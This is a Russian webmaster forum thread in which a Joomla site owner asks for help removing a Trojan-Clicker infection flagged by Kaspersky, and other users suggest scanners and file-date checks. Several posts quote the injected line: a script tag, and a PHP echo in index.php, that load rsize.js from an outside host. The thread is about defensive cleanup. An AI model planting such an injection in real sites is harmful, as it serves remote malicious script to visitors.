X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

2 страниц V   1 2 >
Открыть тему
Тема закрыта
> На сайте Trojan-Clicker.HTML.Agent.bt. Как побороть?
Telnor
Telnor
Topic Starter сообщение 29.1.2013, 23:12; Ответить: Telnor
Сообщение #1


При заходе на http://sphinxdahab.com/ каспер блокирует сайт:

Двиг Joomla.
Скачал полностью весь сайт вместе с БД на комп, проверил Каспером, он ничего не нашел.
Где искать заразу и как с ней бороться? Спасибо!

Сообщение отредактировал Telnor - 29.1.2013, 23:14


--------------------
Продаются сайты с доходом, недорого
Сдам место в подписи, или обменяю на хостинг
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dota
dota
сообщение 29.1.2013, 23:17; Ответить: dota
Сообщение #2


Telnor, Айболитом проверьте.
Вылечить все.
И дальше мой друг писал непосредственно в ТП каспера, они разблокировали.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
serg5777
serg5777
сообщение 29.1.2013, 23:22; Ответить: serg5777
Сообщение #3




Посмотрите по дате измененения файлов, там и наткнетесь на заразу smile.gif

Сообщение отредактировал serg5777 - 29.1.2013, 23:23


Поблагодарили: (2)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Belos
Belos
сообщение 29.1.2013, 23:23; Ответить: Belos
Сообщение #4


Да, есть у вас на нем нечисть.

Проверяем


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
dota
dota
сообщение 29.1.2013, 23:27; Ответить: dota
Сообщение #5


(Belos @ 29.1.2013, 22:23) *
Посмотрите по дате измененения файлов, там и наткнетесь на заразу

Во во, именно. Так же когда то избавлялся.

А главное от этой фигни траф проседает.


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Serenita
Serenita
сообщение 29.1.2013, 23:32; Ответить: Serenita
Сообщение #6


Я обычно вот этим проверяю...

Вот он у вас понаходил, первый и последний явно лишние...

/templates/wedding_v1/script.js
/modules/mod_virtuemart/JSCookTree.js
/modules/mod_virtuemart/ThemeXP/theme.js
kinoshkaxa.changeip.name/rsize.js


Сообщение отредактировал Serenita - 29.1.2013, 23:33


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Belos
Belos
сообщение 29.1.2013, 23:36; Ответить: Belos
Сообщение #7


Нод антивирус тоже ругается

Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Rampage
Rampage
сообщение 29.1.2013, 23:39; Ответить: Rampage
Сообщение #8


в самом конце после </html>
<script src="http://kinoshkaxa.changeip.name/rsize.js"></script>

Ваше? если нет ищите в файлах которые инклудятся к главной странице и шаблонах


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Melbrun
Melbrun
сообщение 30.1.2013, 9:37; Ответить: Melbrun
Сообщение #9


Telnor,

Как успехи? СМогли вылечить?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Telnor
Telnor
Topic Starter сообщение 30.1.2013, 10:38; Ответить: Telnor
Сообщение #10


(Serenita @ 29.1.2013, 22:32) *
первый и последний явно лишние...

В каких файлах их искать, я дилетант в джумле...?

Melbrun, в процессе.

в index.php нашел и удалил:
echo '<script src="http://kinoshkaxa.changeip.name/rsize.js"></script>';
sphinxdahab.com/public_html/modules/mod_virtuemart/ThemeXP был зараженный файл theme.js и его удалил.
Каспер открывает сайт, но проблема еще осталась:
http://sitecheck.sucuri.net/scanner/?scan=sphinxdahab.com
Где его искать?


--------------------
Продаются сайты с доходом, недорого
Сдам место в подписи, или обменяю на хостинг
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
2 страниц V   1 2 >
Открыть тему
Тема закрыта
3 чел. читают эту тему (гостей: 3, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) Тема имеет прикрепленные файлыБыстрый и качественный обмен на сайте Baksman.org
Обмен Bitcoin, BTC-e, PM, Qiwi, Yandex money, Карты банк
52 Baksman 33564 Вчера, 5:02
автор: Baksman
Открытая тема (нет новых ответов) Арбитражники, как ведете учет расходов и доходов?
11 Boymaster 1774 17.4.2024, 23:35
автор: Boymaster
Открытая тема (нет новых ответов) Боты могут делать пушподписки на моём сайте?
0 Megaspryt 388 17.4.2024, 23:29
автор: Megaspryt
Горячая тема (нет новых ответов) Как вывести деньги в Украине с заблокированного Юмани ?
29 freeax 4795 17.4.2024, 1:19
автор: sergio11
Горячая тема (нет новых ответов) CryptoCloud — прием USDT, BTC, ETH, LTC на любом сайте
36 CryptoCLoud 10637 16.4.2024, 16:02
автор: CryptoCLoud


 



RSS Текстовая версия Сейчас: 19.4.2024, 0:30
Дизайн